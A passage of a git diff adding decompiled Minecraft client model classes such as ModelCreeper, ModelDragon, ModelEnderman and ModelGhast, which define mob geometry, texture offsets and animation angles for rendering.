+  private static final String __OBFID = "CL_00000836";
+  
+  public ModelCow()
+  {
+    super(12, 0.0F);
+    head = new ModelRenderer(this, 0, 0);
+    head.addBox(-4.0F, -4.0F, -6.0F, 8, 8, 6, 0.0F);
+    head.setRotationPoint(0.0F, 4.0F, -8.0F);
+    head.setTextureOffset(22, 0).addBox(-5.0F, -5.0F, -4.0F, 1, 3, 1, 0.0F);
+    head.setTextureOffset(22, 0).addBox(4.0F, -5.0F, -4.0F, 1, 3, 1, 0.0F);
+    body = new ModelRenderer(this, 18, 4);
+    body.addBox(-6.0F, -10.0F, -7.0F, 12, 18, 10, 0.0F);
+    body.setRotationPoint(0.0F, 5.0F, 2.0F);
+    body.setTextureOffset(52, 0).addBox(-2.0F, 2.0F, -8.0F, 4, 6, 1);
+    leg1.rotationPointX -= 1.0F;
+    leg2.rotationPointX += 1.0F;
+    leg1.rotationPointZ += 0.0F;
+    leg2.rotationPointZ += 0.0F;
+    leg3.rotationPointX -= 1.0F;
+    leg4.rotationPointX += 1.0F;
+    leg3.rotationPointZ -= 1.0F;
+    leg4.rotationPointZ -= 1.0F;
+    childZOffset += 2.0F;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/model/ModelCreeper.java b/src/minecraft/net/minecraft/client/model/ModelCreeper.java
new file mode 100644
index 0000000..406216e
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/model/ModelCreeper.java
@@ -0,0 +1,76 @@
+package net.minecraft.client.model;
+
+import net.minecraft.entity.Entity;
+import net.minecraft.util.MathHelper;
+
+public class ModelCreeper extends ModelBase
+{
+  public ModelRenderer head;
+  public ModelRenderer creeperArmor;
+  public ModelRenderer body;
+  public ModelRenderer leg1;
+  public ModelRenderer leg2;
+  public ModelRenderer leg3;
+  public ModelRenderer leg4;
+  private static final String __OBFID = "CL_00000837";
+  
+  public ModelCreeper()
+  {
+    this(0.0F);
+  }
+  
+  public ModelCreeper(float p_i46366_1_)
+  {
+    byte var2 = 6;
+    head = new ModelRenderer(this, 0, 0);
+    head.addBox(-4.0F, -8.0F, -4.0F, 8, 8, 8, p_i46366_1_);
+    head.setRotationPoint(0.0F, var2, 0.0F);
+    creeperArmor = new ModelRenderer(this, 32, 0);
+    creeperArmor.addBox(-4.0F, -8.0F, -4.0F, 8, 8, 8, p_i46366_1_ + 0.5F);
+    creeperArmor.setRotationPoint(0.0F, var2, 0.0F);
+    body = new ModelRenderer(this, 16, 16);
+    body.addBox(-4.0F, 0.0F, -2.0F, 8, 12, 4, p_i46366_1_);
+    body.setRotationPoint(0.0F, var2, 0.0F);
+    leg1 = new ModelRenderer(this, 0, 16);
+    leg1.addBox(-2.0F, 0.0F, -2.0F, 4, 6, 4, p_i46366_1_);
+    leg1.setRotationPoint(-2.0F, 12 + var2, 4.0F);
+    leg2 = new ModelRenderer(this, 0, 16);
+    leg2.addBox(-2.0F, 0.0F, -2.0F, 4, 6, 4, p_i46366_1_);
+    leg2.setRotationPoint(2.0F, 12 + var2, 4.0F);
+    leg3 = new ModelRenderer(this, 0, 16);
+    leg3.addBox(-2.0F, 0.0F, -2.0F, 4, 6, 4, p_i46366_1_);
+    leg3.setRotationPoint(-2.0F, 12 + var2, -4.0F);
+    leg4 = new ModelRenderer(this, 0, 16);
+    leg4.addBox(-2.0F, 0.0F, -2.0F, 4, 6, 4, p_i46366_1_);
+    leg4.setRotationPoint(2.0F, 12 + var2, -4.0F);
+  }
+  
+
+
+
+  public void render(Entity p_78088_1_, float p_78088_2_, float p_78088_3_, float p_78088_4_, float p_78088_5_, float p_78088_6_, float p_78088_7_)
+  {
+    setRotationAngles(p_78088_2_, p_78088_3_, p_78088_4_, p_78088_5_, p_78088_6_, p_78088_7_, p_78088_1_);
+    head.render(p_78088_7_);
+    body.render(p_78088_7_);
+    leg1.render(p_78088_7_);
+    leg2.render(p_78088_7_);
+    leg3.render(p_78088_7_);
+    leg4.render(p_78088_7_);
+  }
+  
+
+
+
+
+
+  public void setRotationAngles(float p_78087_1_, float p_78087_2_, float p_78087_3_, float p_78087_4_, float p_78087_5_, float p_78087_6_, Entity p_78087_7_)
+  {
+    head.rotateAngleY = (p_78087_4_ / 57.295776F);
+    head.rotateAngleX = (p_78087_5_ / 57.295776F);
+    leg1.rotateAngleX = (MathHelper.cos(p_78087_1_ * 0.6662F) * 1.4F * p_78087_2_);
+    leg2.rotateAngleX = (MathHelper.cos(p_78087_1_ * 0.6662F + 3.1415927F) * 1.4F * p_78087_2_);
+    leg3.rotateAngleX = (MathHelper.cos(p_78087_1_ * 0.6662F + 3.1415927F) * 1.4F * p_78087_2_);
+    leg4.rotateAngleX = (MathHelper.cos(p_78087_1_ * 0.6662F) * 1.4F * p_78087_2_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/model/ModelDragon.java b/src/minecraft/net/minecraft/client/model/ModelDragon.java
new file mode 100644
index 0000000..dbf32e7
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/model/ModelDragon.java
@@ -0,0 +1,264 @@
+package net.minecraft.client.model;
+
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.boss.EntityDragon;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ModelDragon
+  extends ModelBase
+{
+  private ModelRenderer head;
+  private ModelRenderer spine;
+  private ModelRenderer jaw;
+  private ModelRenderer body;
+  private ModelRenderer rearLeg;
+  private ModelRenderer frontLeg;
+  private ModelRenderer rearLegTip;
+  private ModelRenderer frontLegTip;
+  private ModelRenderer rearFoot;
+  private ModelRenderer frontFoot;
+  private ModelRenderer wing;
+  private ModelRenderer wingTip;
+  private float partialTicks;
+  private static final String __OBFID = "CL_00000870";
+  
+  public ModelDragon(float p_i46360_1_)
+  {
+    textureWidth = 256;
+    textureHeight = 256;
+    setTextureOffset("body.body", 0, 0);
+    setTextureOffset("wing.skin", -56, 88);
+    setTextureOffset("wingtip.skin", -56, 144);
+    setTextureOffset("rearleg.main", 0, 0);
+    setTextureOffset("rearfoot.main", 112, 0);
+    setTextureOffset("rearlegtip.main", 196, 0);
+    setTextureOffset("head.upperhead", 112, 30);
+    setTextureOffset("wing.bone", 112, 88);
+    setTextureOffset("head.upperlip", 176, 44);
+    setTextureOffset("jaw.jaw", 176, 65);
+    setTextureOffset("frontleg.main", 112, 104);
+    setTextureOffset("wingtip.bone", 112, 136);
+    setTextureOffset("frontfoot.main", 144, 104);
+    setTextureOffset("neck.box", 192, 104);
+    setTextureOffset("frontlegtip.main", 226, 138);
+    setTextureOffset("body.scale", 220, 53);
+    setTextureOffset("head.scale", 0, 0);
+    setTextureOffset("neck.scale", 48, 0);
+    setTextureOffset("head.nostril", 112, 0);
+    float var2 = -16.0F;
+    head = new ModelRenderer(this, "head");
+    head.addBox("upperlip", -6.0F, -1.0F, -8.0F + var2, 12, 5, 16);
+    head.addBox("upperhead", -8.0F, -8.0F, 6.0F + var2, 16, 16, 16);
+    head.mirror = true;
+    head.addBox("scale", -5.0F, -12.0F, 12.0F + var2, 2, 4, 6);
+    head.addBox("nostril", -5.0F, -3.0F, -6.0F + var2, 2, 2, 4);
+    head.mirror = false;
+    head.addBox("scale", 3.0F, -12.0F, 12.0F + var2, 2, 4, 6);
+    head.addBox("nostril", 3.0F, -3.0F, -6.0F + var2, 2, 2, 4);
+    jaw = new ModelRenderer(this, "jaw");
+    jaw.setRotationPoint(0.0F, 4.0F, 8.0F + var2);
+    jaw.addBox("jaw", -6.0F, 0.0F, -16.0F, 12, 4, 16);
+    head.addChild(jaw);
+    spine = new ModelRenderer(this, "neck");
+    spine.addBox("box", -5.0F, -5.0F, -5.0F, 10, 10, 10);
+    spine.addBox("scale", -1.0F, -9.0F, -3.0F, 2, 4, 6);
+    body = new ModelRenderer(this, "body");
+    body.setRotationPoint(0.0F, 4.0F, 8.0F);
+    body.addBox("body", -12.0F, 0.0F, -16.0F, 24, 24, 64);
+    body.addBox("scale", -1.0F, -6.0F, -10.0F, 2, 6, 12);
+    body.addBox("scale", -1.0F, -6.0F, 10.0F, 2, 6, 12);
+    body.addBox("scale", -1.0F, -6.0F, 30.0F, 2, 6, 12);
+    wing = new ModelRenderer(this, "wing");
+    wing.setRotationPoint(-12.0F, 5.0F, 2.0F);
+    wing.addBox("bone", -56.0F, -4.0F, -4.0F, 56, 8, 8);
+    wing.addBox("skin", -56.0F, 0.0F, 2.0F, 56, 0, 56);
+    wingTip = new ModelRenderer(this, "wingtip");
+    wingTip.setRotationPoint(-56.0F, 0.0F, 0.0F);
+    wingTip.addBox("bone", -56.0F, -2.0F, -2.0F, 56, 4, 4);
+    wingTip.addBox("skin", -56.0F, 0.0F, 2.0F, 56, 0, 56);
+    wing.addChild(wingTip);
+    frontLeg = new ModelRenderer(this, "frontleg");
+    frontLeg.setRotationPoint(-12.0F, 20.0F, 2.0F);
+    frontLeg.addBox("main", -4.0F, -4.0F, -4.0F, 8, 24, 8);
+    frontLegTip = new ModelRenderer(this, "frontlegtip");
+    frontLegTip.setRotationPoint(0.0F, 20.0F, -1.0F);
+    frontLegTip.addBox("main", -3.0F, -1.0F, -3.0F, 6, 24, 6);
+    frontLeg.addChild(frontLegTip);
+    frontFoot = new ModelRenderer(this, "frontfoot");
+    frontFoot.setRotationPoint(0.0F, 23.0F, 0.0F);
+    frontFoot.addBox("main", -4.0F, 0.0F, -12.0F, 8, 4, 16);
+    frontLegTip.addChild(frontFoot);
+    rearLeg = new ModelRenderer(this, "rearleg");
+    rearLeg.setRotationPoint(-16.0F, 16.0F, 42.0F);
+    rearLeg.addBox("main", -8.0F, -4.0F, -8.0F, 16, 32, 16);
+    rearLegTip = new ModelRenderer(this, "rearlegtip");
+    rearLegTip.setRotationPoint(0.0F, 32.0F, -4.0F);
+    rearLegTip.addBox("main", -6.0F, -2.0F, 0.0F, 12, 32, 12);
+    rearLeg.addChild(rearLegTip);
+    rearFoot = new ModelRenderer(this, "rearfoot");
+    rearFoot.setRotationPoint(0.0F, 31.0F, 4.0F);
+    rearFoot.addBox("main", -9.0F, 0.0F, -20.0F, 18, 6, 24);
+    rearLegTip.addChild(rearFoot);
+  }
+  
+
+
+
+
+  public void setLivingAnimations(EntityLivingBase p_78086_1_, float p_78086_2_, float p_78086_3_, float p_78086_4_)
+  {
+    partialTicks = p_78086_4_;
+  }
+  
+
+
+
+  public void render(Entity p_78088_1_, float p_78088_2_, float p_78088_3_, float p_78088_4_, float p_78088_5_, float p_78088_6_, float p_78088_7_)
+  {
+    GlStateManager.pushMatrix();
+    EntityDragon var8 = (EntityDragon)p_78088_1_;
+    float var9 = prevAnimTime + (animTime - prevAnimTime) * partialTicks;
+    jaw.rotateAngleX = ((float)(Math.sin(var9 * 3.1415927F * 2.0F) + 1.0D) * 0.2F);
+    float var10 = (float)(Math.sin(var9 * 3.1415927F * 2.0F - 1.0F) + 1.0D);
+    var10 = (var10 * var10 * 1.0F + var10 * 2.0F) * 0.05F;
+    GlStateManager.translate(0.0F, var10 - 2.0F, -3.0F);
+    GlStateManager.rotate(var10 * 2.0F, 1.0F, 0.0F, 0.0F);
+    float var11 = -30.0F;
+    float var13 = 0.0F;
+    float var14 = 1.5F;
+    double[] var15 = var8.getMovementOffsets(6, partialTicks);
+    float var16 = updateRotations(var8.getMovementOffsets(5, partialTicks)[0] - var8.getMovementOffsets(10, partialTicks)[0]);
+    float var17 = updateRotations(var8.getMovementOffsets(5, partialTicks)[0] + var16 / 2.0F);
+    var11 += 2.0F;
+    float var18 = var9 * 3.1415927F * 2.0F;
+    var11 = 20.0F;
+    float var12 = -12.0F;
+    
+
+    for (int var19 = 0; var19 < 5; var19++)
+    {
+      double[] var20 = var8.getMovementOffsets(5 - var19, partialTicks);
+      float var21 = (float)Math.cos(var19 * 0.45F + var18) * 0.15F;
+      spine.rotateAngleY = (updateRotations(var20[0] - var15[0]) * 3.1415927F / 180.0F * var14);
+      spine.rotateAngleX = (var21 + (float)(var20[1] - var15[1]) * 3.1415927F / 180.0F * var14 * 5.0F);
+      spine.rotateAngleZ = (-updateRotations(var20[0] - var17) * 3.1415927F / 180.0F * var14);
+      spine.rotationPointY = var11;
+      spine.rotationPointZ = var12;
+      spine.rotationPointX = var13;
+      var11 = (float)(var11 + Math.sin(spine.rotateAngleX) * 10.0D);
+      var12 = (float)(var12 - Math.cos(spine.rotateAngleY) * Math.cos(spine.rotateAngleX) * 10.0D);
+      var13 = (float)(var13 - Math.sin(spine.rotateAngleY) * Math.cos(spine.rotateAngleX) * 10.0D);
+      spine.render(p_78088_7_);
+    }
+    
+    head.rotationPointY = var11;
+    head.rotationPointZ = var12;
+    head.rotationPointX = var13;
+    double[] var22 = var8.getMovementOffsets(0, partialTicks);
+    head.rotateAngleY = (updateRotations(var22[0] - var15[0]) * 3.1415927F / 180.0F * 1.0F);
+    head.rotateAngleZ = (-updateRotations(var22[0] - var17) * 3.1415927F / 180.0F * 1.0F);
+    head.render(p_78088_7_);
+    GlStateManager.pushMatrix();
+    GlStateManager.translate(0.0F, 1.0F, 0.0F);
+    GlStateManager.rotate(-var16 * var14 * 1.0F, 0.0F, 0.0F, 1.0F);
+    GlStateManager.translate(0.0F, -1.0F, 0.0F);
+    body.rotateAngleZ = 0.0F;
+    body.render(p_78088_7_);
+    
+    for (int var23 = 0; var23 < 2; var23++)
+    {
+      GlStateManager.enableCull();
+      float var21 = var9 * 3.1415927F * 2.0F;
+      wing.rotateAngleX = (0.125F - (float)Math.cos(var21) * 0.2F);
+      wing.rotateAngleY = 0.25F;
+      wing.rotateAngleZ = ((float)(Math.sin(var21) + 0.125D) * 0.8F);
+      wingTip.rotateAngleZ = (-(float)(Math.sin(var21 + 2.0F) + 0.5D) * 0.75F);
+      rearLeg.rotateAngleX = (1.0F + var10 * 0.1F);
+      rearLegTip.rotateAngleX = (0.5F + var10 * 0.1F);
+      rearFoot.rotateAngleX = (0.75F + var10 * 0.1F);
+      frontLeg.rotateAngleX = (1.3F + var10 * 0.1F);
+      frontLegTip.rotateAngleX = (-0.5F - var10 * 0.1F);
+      frontFoot.rotateAngleX = (0.75F + var10 * 0.1F);
+      wing.render(p_78088_7_);
+      frontLeg.render(p_78088_7_);
+      rearLeg.render(p_78088_7_);
+      GlStateManager.scale(-1.0F, 1.0F, 1.0F);
+      
+      if (var23 == 0)
+      {
+        GlStateManager.cullFace(1028);
+      }
+    }
+    
+    GlStateManager.popMatrix();
+    GlStateManager.cullFace(1029);
+    GlStateManager.disableCull();
+    float var24 = -(float)Math.sin(var9 * 3.1415927F * 2.0F) * 0.0F;
+    var18 = var9 * 3.1415927F * 2.0F;
+    var11 = 10.0F;
+    var12 = 60.0F;
+    var13 = 0.0F;
+    var15 = var8.getMovementOffsets(11, partialTicks);
+    
+    for (int var25 = 0; var25 < 12; var25++)
+    {
+      var22 = var8.getMovementOffsets(12 + var25, partialTicks);
+      var24 = (float)(var24 + Math.sin(var25 * 0.45F + var18) * 0.05000000074505806D);
+      spine.rotateAngleY = ((updateRotations(var22[0] - var15[0]) * var14 + 180.0F) * 3.1415927F / 180.0F);
+      spine.rotateAngleX = (var24 + (float)(var22[1] - var15[1]) * 3.1415927F / 180.0F * var14 * 5.0F);
+      spine.rotateAngleZ = (updateRotations(var22[0] - var17) * 3.1415927F / 180.0F * var14);
+      spine.rotationPointY = var11;
+      spine.rotationPointZ = var12;
+      spine.rotationPointX = var13;
+      var11 = (float)(var11 + Math.sin(spine.rotateAngleX) * 10.0D);
+      var12 = (float)(var12 - Math.cos(spine.rotateAngleY) * Math.cos(spine.rotateAngleX) * 10.0D);
+      var13 = (float)(var13 - Math.sin(spine.rotateAngleY) * Math.cos(spine.rotateAngleX) * 10.0D);
+      spine.render(p_78088_7_);
+    }
+    
+    GlStateManager.popMatrix();
+  }
+  
+
+
+
+
+
+  private float updateRotations(double p_78214_1_)
+  {
+    while (p_78214_1_ >= 180.0D)
+    {
+      p_78214_1_ -= 360.0D;
+    }
+    
+    while (p_78214_1_ < -180.0D)
+    {
+      p_78214_1_ += 360.0D;
+    }
+    
+    return (float)p_78214_1_;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/model/ModelEnderCrystal.java b/src/minecraft/net/minecraft/client/model/ModelEnderCrystal.java
new file mode 100644
index 0000000..c806502
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/model/ModelEnderCrystal.java
@@ -0,0 +1,60 @@
+package net.minecraft.client.model;
+
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.entity.Entity;
+
+
+
+public class ModelEnderCrystal
+  extends ModelBase
+{
+  private ModelRenderer cube;
+  private ModelRenderer glass = new ModelRenderer(this, "glass");
+  
+  private ModelRenderer base;
+  
+  private static final String __OBFID = "CL_00000871";
+  
+  public ModelEnderCrystal(float p_i1170_1_, boolean p_i1170_2_)
+  {
+    glass.setTextureOffset(0, 0).addBox(-4.0F, -4.0F, -4.0F, 8, 8, 8);
+    cube = new ModelRenderer(this, "cube");
+    cube.setTextureOffset(32, 0).addBox(-4.0F, -4.0F, -4.0F, 8, 8, 8);
+    
+    if (p_i1170_2_)
+    {
+      base = new ModelRenderer(this, "base");
+      base.setTextureOffset(0, 16).addBox(-6.0F, 0.0F, -6.0F, 12, 4, 12);
+    }
+  }
+  
+
+
+
+  public void render(Entity p_78088_1_, float p_78088_2_, float p_78088_3_, float p_78088_4_, float p_78088_5_, float p_78088_6_, float p_78088_7_)
+  {
+    GlStateManager.pushMatrix();
+    GlStateManager.scale(2.0F, 2.0F, 2.0F);
+    GlStateManager.translate(0.0F, -0.5F, 0.0F);
+    
+    if (base != null)
+    {
+      base.render(p_78088_7_);
+    }
+    
+    GlStateManager.rotate(p_78088_3_, 0.0F, 1.0F, 0.0F);
+    GlStateManager.translate(0.0F, 0.8F + p_78088_4_, 0.0F);
+    GlStateManager.rotate(60.0F, 0.7071F, 0.0F, 0.7071F);
+    glass.render(p_78088_7_);
+    float var8 = 0.875F;
+    GlStateManager.scale(var8, var8, var8);
+    GlStateManager.rotate(60.0F, 0.7071F, 0.0F, 0.7071F);
+    GlStateManager.rotate(p_78088_3_, 0.0F, 1.0F, 0.0F);
+    glass.render(p_78088_7_);
+    GlStateManager.scale(var8, var8, var8);
+    GlStateManager.rotate(60.0F, 0.7071F, 0.0F, 0.7071F);
+    GlStateManager.rotate(p_78088_3_, 0.0F, 1.0F, 0.0F);
+    cube.render(p_78088_7_);
+    GlStateManager.popMatrix();
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/model/ModelEnderMite.java b/src/minecraft/net/minecraft/client/model/ModelEnderMite.java
new file mode 100644
index 0000000..db4d7e1
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/model/ModelEnderMite.java
@@ -0,0 +1,58 @@
+package net.minecraft.client.model;
+
+import net.minecraft.entity.Entity;
+import net.minecraft.util.MathHelper;
+
+public class ModelEnderMite extends ModelBase
+{
+  private static final int[][] field_178716_a = { { 4, 3, 2 }, { 6, 4, 5 }, { 3, 3, 1 }, { 1, 2, 1 } };
+  private static final int[][] field_178714_b = { new int[2], { 0, 5 }, { 0, 14 }, { 0, 18 } };
+  private static final int field_178715_c = field_178716_a.length;
+  private final ModelRenderer[] field_178713_d;
+  private static final String __OBFID = "CL_00002629";
+  
+  public ModelEnderMite()
+  {
+    field_178713_d = new ModelRenderer[field_178715_c];
+    float var1 = -3.5F;
+    
+    for (int var2 = 0; var2 < field_178713_d.length; var2++)
+    {
+      field_178713_d[var2] = new ModelRenderer(this, field_178714_b[var2][0], field_178714_b[var2][1]);
+      field_178713_d[var2].addBox(field_178716_a[var2][0] * -0.5F, 0.0F, field_178716_a[var2][2] * -0.5F, field_178716_a[var2][0], field_178716_a[var2][1], field_178716_a[var2][2]);
+      field_178713_d[var2].setRotationPoint(0.0F, 24 - field_178716_a[var2][1], var1);
+      
+      if (var2 < field_178713_d.length - 1)
+      {
+        var1 += (field_178716_a[var2][2] + field_178716_a[(var2 + 1)][2]) * 0.5F;
+      }
+    }
+  }
+  
+
+
+
+  public void render(Entity p_78088_1_, float p_78088_2_, float p_78088_3_, float p_78088_4_, float p_78088_5_, float p_78088_6_, float p_78088_7_)
+  {
+    setRotationAngles(p_78088_2_, p_78088_3_, p_78088_4_, p_78088_5_, p_78088_6_, p_78088_7_, p_78088_1_);
+    
+    for (int var8 = 0; var8 < field_178713_d.length; var8++)
+    {
+      field_178713_d[var8].render(p_78088_7_);
+    }
+  }
+  
+
+
+
+
+
+  public void setRotationAngles(float p_78087_1_, float p_78087_2_, float p_78087_3_, float p_78087_4_, float p_78087_5_, float p_78087_6_, Entity p_78087_7_)
+  {
+    for (int var8 = 0; var8 < field_178713_d.length; var8++)
+    {
+      field_178713_d[var8].rotateAngleY = (MathHelper.cos(p_78087_3_ * 0.9F + var8 * 0.15F * 3.1415927F) * 3.1415927F * 0.01F * (1 + Math.abs(var8 - 2)));
+      field_178713_d[var8].rotationPointX = (MathHelper.sin(p_78087_3_ * 0.9F + var8 * 0.15F * 3.1415927F) * 3.1415927F * 0.1F * Math.abs(var8 - 2));
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/model/ModelEnderman.java b/src/minecraft/net/minecraft/client/model/ModelEnderman.java
new file mode 100644
index 0000000..4cd73bd
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/model/ModelEnderman.java
@@ -0,0 +1,130 @@
+package net.minecraft.client.model;
+
+import net.minecraft.entity.Entity;
+
+
+
+public class ModelEnderman
+  extends ModelBiped
+{
+  public boolean isCarrying;
+  public boolean isAttacking;
+  private static final String __OBFID = "CL_00000838";
+  
+  public ModelEnderman(float p_i46305_1_)
+  {
+    super(0.0F, -14.0F, 64, 32);
+    float var2 = -14.0F;
+    bipedHeadwear = new ModelRenderer(this, 0, 16);
+    bipedHeadwear.addBox(-4.0F, -8.0F, -4.0F, 8, 8, 8, p_i46305_1_ - 0.5F);
+    bipedHeadwear.setRotationPoint(0.0F, 0.0F + var2, 0.0F);
+    bipedBody = new ModelRenderer(this, 32, 16);
+    bipedBody.addBox(-4.0F, 0.0F, -2.0F, 8, 12, 4, p_i46305_1_);
+    bipedBody.setRotationPoint(0.0F, 0.0F + var2, 0.0F);
+    bipedRightArm = new ModelRenderer(this, 56, 0);
+    bipedRightArm.addBox(-1.0F, -2.0F, -1.0F, 2, 30, 2, p_i46305_1_);
+    bipedRightArm.setRotationPoint(-3.0F, 2.0F + var2, 0.0F);
+    bipedLeftArm = new ModelRenderer(this, 56, 0);
+    bipedLeftArm.mirror = true;
+    bipedLeftArm.addBox(-1.0F, -2.0F, -1.0F, 2, 30, 2, p_i46305_1_);
+    bipedLeftArm.setRotationPoint(5.0F, 2.0F + var2, 0.0F);
+    bipedRightLeg = new ModelRenderer(this, 56, 0);
+    bipedRightLeg.addBox(-1.0F, 0.0F, -1.0F, 2, 30, 2, p_i46305_1_);
+    bipedRightLeg.setRotationPoint(-2.0F, 12.0F + var2, 0.0F);
+    bipedLeftLeg = new ModelRenderer(this, 56, 0);
+    bipedLeftLeg.mirror = true;
+    bipedLeftLeg.addBox(-1.0F, 0.0F, -1.0F, 2, 30, 2, p_i46305_1_);
+    bipedLeftLeg.setRotationPoint(2.0F, 12.0F + var2, 0.0F);
+  }
+  
+
+
+
+
+
+  public void setRotationAngles(float p_78087_1_, float p_78087_2_, float p_78087_3_, float p_78087_4_, float p_78087_5_, float p_78087_6_, Entity p_78087_7_)
+  {
+    super.setRotationAngles(p_78087_1_, p_78087_2_, p_78087_3_, p_78087_4_, p_78087_5_, p_78087_6_, p_78087_7_);
+    bipedHead.showModel = true;
+    float var8 = -14.0F;
+    bipedBody.rotateAngleX = 0.0F;
+    bipedBody.rotationPointY = var8;
+    bipedBody.rotationPointZ = -0.0F;
+    bipedRightLeg.rotateAngleX -= 0.0F;
+    bipedLeftLeg.rotateAngleX -= 0.0F;
+    bipedRightArm.rotateAngleX = ((float)(bipedRightArm.rotateAngleX * 0.5D));
+    bipedLeftArm.rotateAngleX = ((float)(bipedLeftArm.rotateAngleX * 0.5D));
+    bipedRightLeg.rotateAngleX = ((float)(bipedRightLeg.rotateAngleX * 0.5D));
+    bipedLeftLeg.rotateAngleX = ((float)(bipedLeftLeg.rotateAngleX * 0.5D));
+    float var9 = 0.4F;
+    
+    if (bipedRightArm.rotateAngleX > var9)
+    {
+      bipedRightArm.rotateAngleX = var9;
+    }
+    
+    if (bipedLeftArm.rotateAngleX > var9)
+    {
+      bipedLeftArm.rotateAngleX = var9;
+    }
+    
+    if (bipedRightArm.rotateAngleX < -var9)
+    {
+      bipedRightArm.rotateAngleX = (-var9);
+    }
+    
+    if (bipedLeftArm.rotateAngleX < -var9)
+    {
+      bipedLeftArm.rotateAngleX = (-var9);
+    }
+    
+    if (bipedRightLeg.rotateAngleX > var9)
+    {
+      bipedRightLeg.rotateAngleX = var9;
+    }
+    
+    if (bipedLeftLeg.rotateAngleX > var9)
+    {
+      bipedLeftLeg.rotateAngleX = var9;
+    }
+    
+    if (bipedRightLeg.rotateAngleX < -var9)
+    {
+      bipedRightLeg.rotateAngleX = (-var9);
+    }
+    
+    if (bipedLeftLeg.rotateAngleX < -var9)
+    {
+      bipedLeftLeg.rotateAngleX = (-var9);
+    }
+    
+    if (isCarrying)
+    {
+      bipedRightArm.rotateAngleX = -0.5F;
+      bipedLeftArm.rotateAngleX = -0.5F;
+      bipedRightArm.rotateAngleZ = 0.05F;
+      bipedLeftArm.rotateAngleZ = -0.05F;
+    }
+    
+    bipedRightArm.rotationPointZ = 0.0F;
+    bipedLeftArm.rotationPointZ = 0.0F;
+    bipedRightLeg.rotationPointZ = 0.0F;
+    bipedLeftLeg.rotationPointZ = 0.0F;
+    bipedRightLeg.rotationPointY = (9.0F + var8);
+    bipedLeftLeg.rotationPointY = (9.0F + var8);
+    bipedHead.rotationPointZ = -0.0F;
+    bipedHead.rotationPointY = (var8 + 1.0F);
+    bipedHeadwear.rotationPointX = bipedHead.rotationPointX;
+    bipedHeadwear.rotationPointY = bipedHead.rotationPointY;
+    bipedHeadwear.rotationPointZ = bipedHead.rotationPointZ;
+    bipedHeadwear.rotateAngleX = bipedHead.rotateAngleX;
+    bipedHeadwear.rotateAngleY = bipedHead.rotateAngleY;
+    bipedHeadwear.rotateAngleZ = bipedHead.rotateAngleZ;
+    
+    if (isAttacking)
+    {
+      float var10 = 1.0F;
+      bipedHead.rotationPointY -= var10 * 5.0F;
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/model/ModelGhast.java b/src/minecraft/net/minecraft/client/model/ModelGhast.java
new file mode 100644
index 0000000..d199014
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/model/ModelGhast.java
@@ -0,0 +1,68 @@
+package net.minecraft.client.model;
+
+import java.util.Random;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.entity.Entity;
+import net.minecraft.util.MathHelper;
+
+public class ModelGhast extends ModelBase
+{
+  ModelRenderer body;
+  ModelRenderer[] tentacles = new ModelRenderer[9];
+  private static final String __OBFID = "CL_00000839";
+  
+  public ModelGhast()
+  {
+    byte var1 = -16;
+    body = new ModelRenderer(this, 0, 0);
+    body.addBox(-8.0F, -8.0F, -8.0F, 16, 16, 16);
+    body.rotationPointY += 24 + var1;
+    Random var2 = new Random(1660L);
+    
+    for (int var3 = 0; var3 < tentacles.length; var3++)
+    {
+      tentacles[var3] = new ModelRenderer(this, 0, 0);
+      float var4 = ((var3 % 3 - var3 / 3 % 2 * 0.5F + 0.25F) / 2.0F * 2.0F - 1.0F) * 5.0F;
+      float var5 = (var3 / 3 / 2.0F * 2.0F - 1.0F) * 5.0F;
+      int var6 = var2.nextInt(7) + 8;
+      tentacles[var3].addBox(-1.0F, 0.0F, -1.0F, 2, var6, 2);
+      tentacles[var3].rotationPointX = var4;
+      tentacles[var3].rotationPointZ = var5;
+      tentacles[var3].rotationPointY = (31 + var1);
+    }
+  }
+  
+
+
+
+
+
+  public void setRotationAngles(float p_78087_1_, float p_78087_2_, float p_78087_3_, float p_78087_4_, float p_78087_5_, float p_78087_6_, Entity p_78087_7_)
+  {
+    for (int var8 = 0; var8 < tentacles.length; var8++)
+    {
+      tentacles[var8].rotateAngleX = (0.2F * MathHelper.sin(p_78087_3_ * 0.3F + var8) + 0.4F);
+    }
+  }
+  
+
+
+
+  public void render(Entity p_78088_1_, float p_78088_2_, float p_78088_3_, float p_78088_4_, float p_78088_5_, float p_78088_6_, float p_78088_7_)
+  {
+    setRotationAngles(p_78088_2_, p_78088_3_, p_78088_4_, p_78088_5_, p_78088_6_, p_78088_7_, p_78088_1_);
+    GlStateManager.pushMatrix();
+    GlStateManager.translate(0.0F, 0.6F, 0.0F);
+    body.render(p_78088_7_);
+    ModelRenderer[] var8 = tentacles;
+    int var9 = var8.length;
+    
+    for (int var10 = 0; var10 < var9; var10++)
+    {
+      ModelRenderer var11 = var8[var10];
+      var11.render(p_78088_7_);
+    }
+    
+    GlStateManager.popMatrix();
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/model/ModelGuardian.java b/src/minecraft/net/minecraft/client/model/ModelGuardian.java
new file mode 100644
index 0000000..ac4806c
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/model/ModelGuardian.java
@@ -0,0 +1,137 @@
+package net.minecraft.client.model;
+
+import net.minecraft.client.Minecraft;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.monster.EntityGuardian;
+import net.minecraft.util.MathHelper;
+import net.minecraft.util.Vec3;
+
+public class ModelGuardian extends ModelBase
+{
+  private ModelRenderer guardianBody;
+  private ModelRenderer guardianEye;
+  private ModelRenderer[] guardianSpines;
+  private ModelRenderer[] guardianTail;
